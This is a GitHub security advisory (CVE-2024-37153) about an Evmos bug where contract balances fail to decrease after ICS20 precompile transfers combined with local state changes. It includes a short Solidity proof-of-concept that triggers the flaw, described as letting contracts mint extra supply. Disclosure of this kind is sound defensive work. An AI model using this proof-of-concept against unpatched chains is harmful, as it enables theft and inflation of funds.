Skip to content

Contract balance not updating correctly after interchain transaction

High severity GitHub Reviewed Published Jun 6, 2024 in evmos/evmos • Updated Jun 17, 2024

Package

gomod github.com/evmos/evmos/v10 (Go)

Affected versions

<= 10.0.1

Patched versions

18.1.0
gomod github.com/evmos/evmos/v11 (Go)
<= 11.0.2
18.1.0
gomod github.com/evmos/evmos/v12 (Go)
<= 12.1.6
18.1.0
gomod github.com/evmos/evmos/v13 (Go)
<= 13.0.2
18.1.0
gomod github.com/evmos/evmos/v14 (Go)
<= 14.1.0
18.1.0
gomod github.com/evmos/evmos/v15 (Go)
<= 15.0.0
18.1.0
gomod github.com/evmos/evmos/v16 (Go)
<= 16.0.4
18.1.0
gomod github.com/evmos/evmos/v17 (Go)
<= 17.0.1
18.1.0
gomod github.com/evmos/evmos/v18 (Go)
<= 18.0.0
18.1.0
gomod github.com/evmos/evmos/v6 (Go)
<= 6.0.4
18.1.0
gomod github.com/evmos/evmos/v7 (Go)
<= 7.0.0
18.1.0
gomod github.com/evmos/evmos/v8 (Go)
<= 8.2.3
18.1.0
gomod github.com/evmos/evmos/v9 (Go)
<= 9.1.0
18.1.0

Description

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

Details

We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the sender parameter in an ICS20 transfer using the ICS20 precompile

Proof of Concept

// This function does not reduce the contract balance correctly but liquid stakes correctly 
function transfer(
        string memory sourcePort,
        string memory sourceChannel,
        string memory denom,
        uint256 amount,
        string memory receiver,
        string memory evmosReceiver
    ) external returns (uint64 nextSequence) {
        counter += 1; # Only happens when there is a local state update together with an ICS20 Transfer
        Height memory timeoutHeight =  Height(100, 100);
        string memory memo = buildLiquidStakeMemo(receiver, evmosReceiver);
        return ICS20_CONTRACT.transfer(
            sourcePort, 
            sourceChannel,
            denom,
            amount,
            address(this), # this is the sender address which is the contract
            receiver,
            timeoutHeight,
            0,
            memo
        );
    }

Impact

This is in essence the "infinite money glitch" allowing contracts to double the supply of Evmos after each transaction.

Severity

Based on ImmuneFi Severity Classification System the severity was evaluated to Critical since the attack could have lead to create new supply of EVMOS and therefore lead to Direct loss of funds's value.

Patches

The issue has been patched in versions >=V18.1.0.

For more information

If you have any questions or comments about this advisory:

Reach out to the Core Team in Discord
Open a discussion in evmos/evmos
Email us at [email protected] for security questions

References

@sandoche sandoche published to evmos/evmos Jun 6, 2024
Published to the GitHub Advisory Database Jun 6, 2024
Reviewed Jun 6, 2024
Published by the National Vulnerability Database Jun 6, 2024
Last updated Jun 17, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

EPSS score

0.048%
(20th percentile)

Weaknesses

CVE ID

CVE-2024-37153

GHSA ID

GHSA-xgr7-jgq3-mhmc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.